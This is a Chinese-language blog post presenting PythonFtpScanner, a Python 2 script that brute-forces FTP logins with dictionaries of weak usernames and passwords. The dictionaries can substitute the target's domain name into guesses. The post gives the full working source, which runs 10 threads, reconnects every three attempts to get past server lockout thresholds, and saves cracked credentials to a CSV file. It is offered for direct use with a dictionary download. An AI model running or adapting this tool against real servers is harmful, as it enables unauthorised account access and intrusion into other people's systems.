在HLck的“煽动”下我写了这个程序，他本意是让我实现带爬虫机制的，今天我先发个单站版的（不支持爬虫）。

网上有N多的Ftp弱口令扫描的工具，但是Python版的貌似不多。

另外，本程序支持将域名作为用户名或密码变量。

例如：如果扫ftp.redicecn.com，在弱口令字典中

%domain% 表示完整的域名，即ftp.redicecn.com

%sdomain% 表示去掉主机的域名，即redicecn.com

%ssdomain% 表示去掉主机和后缀的域名，即redicecn

webmaster@%sdomain% 即webmaster@redicecn.com

ftp@%sdomain% 即ftp@redicecn.com

做这个版本的时候我充分考虑了今后要加入爬虫机制的需求，因此很容易做扩展：

PythonFtpScanner的ftp_login方法，只需指定一个域名参数，程序默认就会使用10个线程进行弱口令检测。

检测过程充分考虑了部分FTP Server的错误阈值，采用每隔3次尝试登录后重新建立连接的方法来解决这个问题，并加入了检测错误阈值错误提示重新连接的机制。

录了个演示视频：

 PythonFtpScanner.py

#coding=utf-8
# Description: PythonFtpScanner V1.0
# Author: redice (redice@163.com)
# License: LGPL
#

import csv
import re
from threading import Thread
from ftplib import FTP
from collections import defaultdict, deque

DEBUG = False

class PythonFtpScanner:
    
    WEAK_USERNAME = [p.replace('\n','') for p in open('username.dic').readlines()]
    WEAK_PASSWORD = [p.replace('\n','') for p in open('password.dic').readlines()]

    def __init__(self, outfile='ftp_result.csv',writer=None,logfile='ftp_errorlog.log',logger=None):
        self.writer = csv.writer(open(outfile, 'w')) if writer is None else writer
        self.writer.writerow(['host','username','password'])
        self.logger = open(logfile,'w') if logger is None else logger
        
    def get_sdomain(self,domain):
        """Extract the short domain from the given domain

        >>> get_sdomain('www.redicecn.com')
        'redicecn.com'
        """
        suffixes = 'ac', 'ad', 'ae', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'arpa', 'as', 'asia', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cat', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'ec', 'edu', 'ee', 'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gov', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jobs', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mil', 'mk', 'ml', 'mm', 'mn', 'mo', 'mobi', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', 'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tel', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug', 'uk', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xn', 'ye', 'yt', 'za', 'zm', 'zw'
        
        sdomain = []
        bdomain = False
        for section in domain.split('.'):
            if section in suffixes:
                sdomain.append(section)
                bdomain = True
            else:
                sdomain = [section]
        return '.'.join(sdomain) if bdomain  else ''


    def get_ssdomain(self,domain):
        """Extract the shortter domain from the given domain

        >>> get_sdomain('www.redicecn.com')
        'redicecn'
        """
        #get sdomain first
        sdomain = self.get_sdomain(domain)

        ssdomian = sdomain.partition('.')[0] if sdomain else ''
        
        return ssdomian


    def ftp_login(self,host,nthreads=10,port=21,log=True):
        """Try ftp login
        
        if success return username & password    
        """
        global DEBUG

        if host == '':
            return
        
        #get sdomain and ssdomain
        domain = host
        sdomain = self.get_sdomain(domain)
        ssdomain = self.get_ssdomain(domain)

        accounts = deque()
        
        #Prepare username and password
        for username in PythonFtpScanner.WEAK_USERNAME:
            if  '%domain%' in username or '%sdomain%' in username or '%ssdomain%' in username:
                if sdomain=='':
                    continue
                else:
                    username = username.replace('%domain%',domain)
                    username = username.replace('%sdomain%',sdomain)
                    username = username.replace('%ssdomain%',ssdomain)
                
            for password in PythonFtpScanner.WEAK_PASSWORD:
                if '%domain%' in password or '%sdomain%' in password or '%ssdomain%' in password:
                    if sdomain=='':
                        continue
                    else:
                        password = password.replace('%domain%',domain)
                        password = password.replace('%sdomain%',sdomain)
                        password = password.replace('%ssdomain%',ssdomain)

                password = password.replace('%null%','')
                password = password.replace('%username%',username)

                if (username,password) not in accounts:
                    accounts.append((username,password))


        class crackThread(Thread):
            """Crack FTP Account Thread
            """
            def __init__(self,writer,logger):
                Thread.__init__(self)
                self.running = True
                self.writer = writer
                self.logger = logger
                
                self.ftp = FTP()
                #self.ftp.set_debuglevel(2)

            def run(self):
                MAX_RETRIES = 10
                retry = 0

                account = None
                while self.running and accounts:

                    try:                    
                        self.ftp.connect(domain,port)
                    except Exception, e:
                        if DEBUG:
                            print e
                        if log:
                            error = 'connect: %s %s\n' % (host,str(e))
                            self.logger.write(error)

                        if retry <= MAX_RETRIES:
                            retry = retry +1
                            continue
                        else:
                            self.running = False
                            break

                    #reconnect every three times
                    loop_num = 0
                    while loop_num<3:
                        loop_num = loop_num + 1
                        
                        if not account and accounts:
                            account = accounts.pop()                     

                        #no account to try
                        if not account:
                            break
                        
                        print 'try ',host,account[0],account[1]
                        try:
                            self.ftp.login(account[0],account[1])
                            #no exception happen, it's a correct account
                            self.writer.writerow([host, account[0],account[1]])
                            print 'find! ',host,account[0],account[1]
                            account = None
                        except Exception, e:
                            if DEBUG:
                                print e
                            if log:
                                error = 'login: %s (%s,%s) %s\n' % (host,account[0],account[1],str(e))
                                self.logger.write(error)
                            
                            emsg = str(e)
                            #ecode = ''
                            #if emsg:
                                #m = re.compile(r'''\((\d+?),''').search(emsg)
                                #if m:
                                    #ecode = m.groups()[0]

                            #need to reconnect
                            #possible error code: 10053,10054,421
                            #if ecode=='10053' or ecode=='10054':
                            if 'connection' in emsg.lower() or 'tries' in emsg.lower():
                                retry = retry +1
                                if log:
                                    error = 'will retry: %s (%s,%s)\n' % (host,account[0],account[1])
                                    self.logger.write(error) 
                                break
                            else:
                                #reset retry
                                account = None
                                retry = 0


        threads = []
        for i in range(nthreads):
            threads.append(crackThread(self.writer,self.logger))
        
        for thread in threads:
            thread.start()
        
        for thread in threads: 
            thread.join()


if __name__ == '__main__':
    import sys
    import socket
    socket.setdefaulttimeout(10)
    
    if len(sys.argv)!=2:
        print 'PythonFtpScanner V1.0  by redice\n'
        print 'Usage:\n\tPythonFtpScanner.py ftp.redicecn.com \n\nNotice:\n\tSuggest using domain as parameter.\n\tWeak passwords dictionary support domain variables.'
    else:
        ftp_cracker = PythonFtpScanner()
        ftp_cracker.ftp_login(sys.argv[1].strip())
        print '\nAll scan over! see ftp_result.csv!'

源码下载含弱口令字典